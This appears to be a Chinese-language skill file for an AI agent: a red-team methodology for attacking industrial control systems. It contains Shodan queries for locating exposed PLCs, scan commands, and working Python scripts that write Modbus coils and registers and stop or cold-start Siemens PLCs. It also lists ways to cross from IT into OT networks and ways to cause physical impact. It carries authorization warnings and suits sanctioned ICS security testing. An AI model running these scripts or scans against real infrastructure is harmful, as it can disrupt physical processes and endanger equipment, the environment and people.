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ot-ics-attack

DevOps & Security
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OT/ICS 工控系统攻击方法论。当目标涉及 SCADA/DCS/PLC 系统、发现 Modbus/DNP3/OPC UA/EtherNet-IP 等工控协议、或需要评估关键基础设施安全时使用。覆盖工控协议利用、PLC 攻击、HMI 渗透、IT/OT 边界突破

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OT/ICS 工控系统攻击方法论

⛔ 安全警告:OT 系统控制物理过程,错误操作可能导致设备损坏、环境灾难或人身伤害。仅在明确授权和安全隔离环境下测试!

⛔ 深入参考


Phase 0: OT 环境理解

Purdue 模型(网络分层)

Level 5: Enterprise Network (IT)
Level 4: Business Planning (ERP/MES)
━━━━━━━━━━━ DMZ / IT-OT 边界 ━━━━━━━━━━━
Level 3: Site Operations (Historian/SCADA Server)
Level 2: Area Control (HMI/Engineering WS)
Level 1: Basic Control (PLC/RTU/DCS)
Level 0: Physical Process (传感器/执行器)

攻击路径通常: Level 5 → 4 → DMZ → 3 → 2 → 1 → 0
关键突破点: IT/OT 边界(DMZ 配置错误)

常见工控协议

协议端口认证用途
Modbus TCP502⛔ 无PLC 读写寄存器
DNP320000可选电力 SCADA
OPC UA4840有数据访问
EtherNet/IP44818⛔ 无Rockwell PLC
S7comm102⛔ 无Siemens PLC
BACnet47808⛔ 无楼宇自控
FINS9600⛔ 无Omron PLC

Phase 1: 信息收集(被动优先)

# Shodan 搜索暴露的 ICS 设备
shodan search "port:502 product:Modbus"
shodan search "port:102 product:S7"
shodan search "port:44818 product:EtherNet/IP"
shodan search "port:47808 product:BACnet"

# 目标网络扫描(⛔ 仅在授权后,使用低速率)
nmap -sT -Pn -p 102,502,4840,20000,44818,47808 --scan-delay 500ms TARGET_RANGE

# 被动流量分析(如果有镜像端口)
tcpdump -i eth0 -w ics_traffic.pcap port 502 or port 102 or port 44818

# Wireshark 工控协议解析
# 内置支持: Modbus, DNP3, OPC UA, S7comm, EtherNet/IP

Phase 2: 工控协议利用

2.1 Modbus TCP(无认证!)

#!/usr/bin/env python3
"""Modbus TCP 读写操作 — 无需认证"""
from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient('TARGET_IP', port=502)
client.connect()

# 读取保持寄存器(获取当前值/配置)
result = client.read_holding_registers(address=0, count=10, slave=1)
print(f"Registers: {result.registers}")

# 读取线圈状态(数字输出状态)
result = client.read_coils(address=0, count=10, slave=1)
print(f"Coils: {result.bits}")

# ⛔ 写入操作(改变物理过程!仅在安全环境)
# 写单个寄存器
client.write_register(address=0, value=100, slave=1)

# 写单个线圈(开关控制)
client.write_coil(address=0, value=True, slave=1)  # 开
client.write_coil(address=0, value=False, slave=1) # 关

client.close()

2.2 Siemens S7comm

#!/usr/bin/env python3
"""S7comm 协议交互 — Siemens S7-300/400/1200/1500"""
import snap7

# 连接 PLC
plc = snap7.client.Client()
plc.connect('TARGET_IP', rack=0, slot=1)  # S7-300: slot=2

# 读取 PLC 信息
info = plc.get_cpu_info()
print(f"Module: {info.ModuleTypeName}")
print(f"Serial: {info.SerialNumber}")

# 读取数据块 (DB)
data = plc.db_read(db_number=1, start=0, size=100)
print(f"DB1 data: {data.hex()}")

# 读取输入/输出
inputs = plc.read_area(snap7.types.Areas.PE, 0, 0, 10)   # 输入
outputs = plc.read_area(snap7.types.Areas.PA, 0, 0, 10)  # 输出

# ⛔ 危险操作(仅安全环境)
# 停止 PLC
plc.plc_stop()
# 启动 PLC
plc.plc_cold_start()

plc.disconnect()

2.3 EtherNet/IP (Rockwell/Allen-Bradley)

#!/usr/bin/env python3
"""EtherNet/IP CIP 协议 — 无认证"""
from pycomm3 import LogixDriver

with LogixDriver('TARGET_IP') as plc:
    # 读取标签值
    result = plc.read('MyTag')
    print(f"Tag value: {result.value}")

    # 读取多个标签
    results = plc.read('Tag1', 'Tag2', 'Tag3')
    for r in results:
        print(f"{r.tag}: {r.value}")

    # 获取 PLC 信息
    info = plc.get_plc_info()
    print(f"Product: {info['product_name']}")

    # 列出所有标签(信息收集)
    tags = plc.get_tag_list()
    for tag in tags:
        print(f"  {tag['tag_name']}: {tag['data_type_name']}")

    # ⛔ 写入
    # plc.write('MotorSpeed', 1000)

Phase 3: HMI/SCADA 服务器攻击

HMI/SCADA 常见漏洞:
├─ 默认凭据(admin/admin, administrator/空)
├─ 未加密通信(Modbus/OPC DA 明文)
├─ Web HMI SQL注入/XSS
├─ VNC 无密码暴露
├─ RDP 弱口令(Level 2/3 工作站)
├─ 过时操作系统(Windows XP/7/2008 仍在用)
└─ 未更新的 SCADA 软件(已知 CVE)

常见 SCADA 软件:
├─ Siemens WinCC → CVE 众多
├─ GE iFix / CIMPLICITY
├─ Schneider ClearSCADA
├─ Wonderware InTouch
├─ Ignition (Inductive Automation)
└─ Kepware KEPServerEX (OPC)

Phase 4: IT/OT 边界突破

从 IT 网络进入 OT:
├─ 跳板: Historian 服务器(同时连接 IT 和 OT)
├─ 双网卡工作站(Level 3 操作员电脑)
├─ VPN/远程访问通道(TeamViewer/AnyDesk 在 HMI 上)
├─ 共享文件服务器(IT/OT 共享)
├─ 数据库服务器(MES/ERP 连接到 OT)
└─ 防火墙规则宽松(OT→IT 无限制回连)

Phase 5: 攻击影响评估

⛔ OT 攻击的潜在物理影响:
├─ 改变 PLC 逻辑 → 物理过程失控
├─ 修改 HMI 显示 → 操作员看到假数据(Stuxnet 手法)
├─ 停止 PLC → 生产停摆
├─ 修改安全限值 → 越过安全阈值
└─ 同时攻击 SIS(安全仪表系统) + PLC → 最危险

红队测试中的安全约束:
├─ ⛔ NEVER 修改 SIS (Safety Instrumented System)
├─ ⛔ NEVER 在生产系统上测试写入操作
├─ ✓ 仅读取操作验证可达性
├─ ✓ 在独立测试环境中验证写入
└─ ✓ 随时与运维团队保持通信

工具速查

工具用途
pymodbusModbus TCP 客户端
python-snap7Siemens S7 通信
pycomm3EtherNet/IP CIP
Wireshark + ICS dissectors协议分析
PLCScanPLC 枚举
ISF (Industrial Exploitation Framework)ICS 利用框架
GRASSMARLINOT 网络拓扑发现
Shodan/Censys暴露面发现